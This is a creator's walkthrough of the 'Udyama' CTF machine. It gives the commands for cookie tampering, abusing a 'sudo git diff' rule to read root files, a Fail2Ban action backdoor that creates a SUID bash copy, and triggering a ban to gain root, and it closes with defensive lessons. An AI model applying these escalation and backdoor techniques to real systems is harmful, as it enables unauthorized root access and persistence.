Persistence · Privilege Escalation · Root
"उद्यमेन हि सिध्यन्ति कार्याणि न मनोरथैः।"
"Tasks are accomplished through effort, not mere wishes."
Udyama (उद्यम) is a Sanskrit word meaning effort, enterprise, and determination. The name is the hint — success on this machine requires persistence. You will be locked out. You will be banned. You will have to try again. That is by design.
I wanted to build a CTF that feels like a real system under attack. Not a puzzle with a hidden file. A machine with Fail2Ban active, deliberate misconfigs, and escalation paths that reward careful enumeration over brute force.
The Fail2Ban ban mechanic is central to the challenge. Being banned is not an obstacle to work around — it is the trigger that executes the malicious payload as root. Understanding that flips the entire challenge.
Built on Ubuntu Linux, exported as a VirtualBox OVA. Added deliberate misconfigurations, configured Fail2Ban with a malicious action file, sanitized logs and shell histories, placed flags, tested balance between difficulty and solvability.
Exploitation Path Summary ───────────────────────────────────────────────────────────────── 1. Discover hidden web page → http://target/hidden/secret.html 2. Cookie manipulation (0→1) → Unlock SSH credentials 3. SSH initial access → ssh ctfplayer@UbuntuCTF 4. sudo git diff leak → Read /root/flag.txt ★ FLAG 1 5. Inspect Fail2Ban action → Discover malicious payload 6. Trigger Fail2Ban ban → Execute payload as root 7. Wait for ban expiry → Patience is the key 8. /tmp/rootbash -p → Root shell ★ FLAG 2
Begin with standard web enumeration. A hidden page is accessible without any fuzzing tool — but directory brute-forcing confirms it exists. Navigate to:
http://target/hidden/secret.html
The page contains a clue left by the machine's administrator — hinting that:
→ Fail2Ban is active and watching SSH login attempts.
→ A custom action configuration has been installed.
→ Something unusual has been added to the action definitions.
Take note of this. It tells you exactly where to look once you have a low-privileged shell. Next — inspect the browser cookies.
Open Developer Tools on the hidden page. You will find a cookie controlling access to restricted content:
# Original cookie Cookie: admin=0 # Change to: Cookie: admin=1
Three ways to do this:
# Option A — Browser DevTools F12 → Application → Cookies → double-click value → change 0 to 1 → refresh # Option B — Burp Suite Intercept GET request → modify Cookie header → forward # Option C — curl curl -s --cookie "admin=1" http://target/hidden/secret.html
The page now reveals SSH credentials. Never trust client-side access controls.
Using the credentials revealed by the cookie manipulation:
ssh ctfplayer@UbuntuCTF # Verify access $ whoami ctfplayer $ id uid=1001(ctfplayer) gid=1001(ctfplayer) groups=1001(ctfplayer)
You now have a low-privileged shell. Next: enumerate sudo privileges.
Enumerate sudo privileges immediately after login:
$ sudo -l User ctfplayer may run the following commands: (root) NOPASSWD: /usr/bin/git diff
sudo git diff is extremely dangerous. When passed /dev/null as one argument and a protected file as the other, it prints the entire contents of that file as root.
sudo git diff /dev/null /root/flag.txt diff --git a/dev/null b/root/flag.txt index 0000000..e69de29 --- /dev/null +++ b/root/flag.txt @@ -0,0 +1 @@ +FLAG{search_whatis_fail2ban}
The flag name is a nudge — research what Fail2Ban is and how its action files work. The next step exploits exactly that.
Fail2Ban action files live in /etc/fail2ban/action.d/. A custom action file has been installed: custom.conf. Use the same sudo git diff trick:
sudo git diff /etc/fail2ban/action.d/custom.conf +[Definition] +actionstart = +actionstop = +actioncheck = +actionban = cp /bin/bash /tmp/rootbash && chmod 4755 /tmp/rootbash +actionunban =
Analysis: The actionban directive runs as ROOT whenever Fail2Ban bans an IP address. The malicious payload:
cp /bin/bash /tmp/rootbash && chmod 4755 /tmp/rootbash # This command: # 1. Copies /bin/bash to /tmp/rootbash # 2. Sets the SUID bit (4755) — runs as owner (root) for any user
Once this fires, any user can invoke /tmp/rootbash -p and receive a root shell. The trap is set. Now you need to trigger it.
Fail2Ban monitors SSH login failures. Deliberately fail logins to trigger the ban from your attacker machine:
ssh wronguser@<target-ip> # attempt 1 — wrong username ssh wronguser@<target-ip> # attempt 2 ssh wronguser@<target-ip> # attempt 3 ssh wronguser@<target-ip> # attempt 4 ssh wronguser@<target-ip> # attempt 5 ← ban triggered # Behind the scenes, Fail2Ban executes as root: # cp /bin/bash /tmp/rootbash && chmod 4755 /tmp/rootbash
⚠ Your IP is now banned. SSH connections will be refused. Wait for the ban duration to expire (typically 60–600 seconds). This is intentional. This is Udyama. This is the effort the machine demands.
Once the ban period has elapsed, SSH access is restored. Reconnect and verify the SUID binary was created:
ssh ctfplayer@UbuntuCTF $ ls -la /tmp/rootbash -rwsr-xr-x 1 root root 1234567 Feb 2026 /tmp/rootbash # The 's' in -rws confirms the SUID bit is set. Owned by root.
The SUID bit is confirmed. You are ready to escalate.
The -p flag instructs bash to run in privileged mode, preserving the effective UID of the binary owner (root) rather than dropping it:
$ /tmp/rootbash -p rootbash-5.1# rootbash-5.1# whoami root rootbash-5.1# id uid=1001(ctfplayer) gid=1001(ctfplayer) euid=0(root) egid=0(root)
Effective UID = 0. You are root.
rootbash-5.1# cat /root/flag2.txt FLAG{root_shell_success}
Udyama is complete.
| # | Step | Method |
|---|---|---|
| 1 | Hidden page discovery | http://target/hidden/secret.html |
| 2 | Cookie manipulation (0 → 1) | DevTools / Burp / curl |
| 3 | SSH login with leaked creds | ssh ctfplayer@UbuntuCTF |
| 4 | Leak flag.txt → FLAG 1 | sudo git diff /dev/null /root/flag.txt |
| 5 | Inspect Fail2Ban action file | sudo git diff /etc/fail2ban/action.d/custom.conf |
| 6 | Trigger ban → execute payload | Deliberate SSH failures |
| 7 | Wait for ban expiry | Patience |
| 8 | Escalate to root shell | /tmp/rootbash -p |
| 9 | Read final flag → FLAG 2 | cat /root/flag2.txt |
A cookie value of 0 vs 1 is trivially bypassed using DevTools or Burp. Always enforce access restrictions server-side, never in a cookie value that the client can modify freely.
Any command that can read arbitrary files when run as root is a privilege escalation vector. git diff with /dev/null effectively becomes a file reader. Always audit sudo rules carefully — seemingly harmless commands can be lethal.
If an attacker can write to or influence action files, they can execute arbitrary commands with root privileges on every ban event. The banaction fires automatically — making it a powerful persistence and escalation mechanism.
A SUID copy of bash grants an instant root shell via bash -p. Never allow untrusted users to create SUID files in world-writable directories like /tmp. Monitor for SUID changes in your incident response procedures.
Being banned and locked out is not the end — it is part of the challenge. Udyama (उद्यम) means effort. The machine rewards those who understand the mechanics and keep trying. The ban itself is the exploit trigger.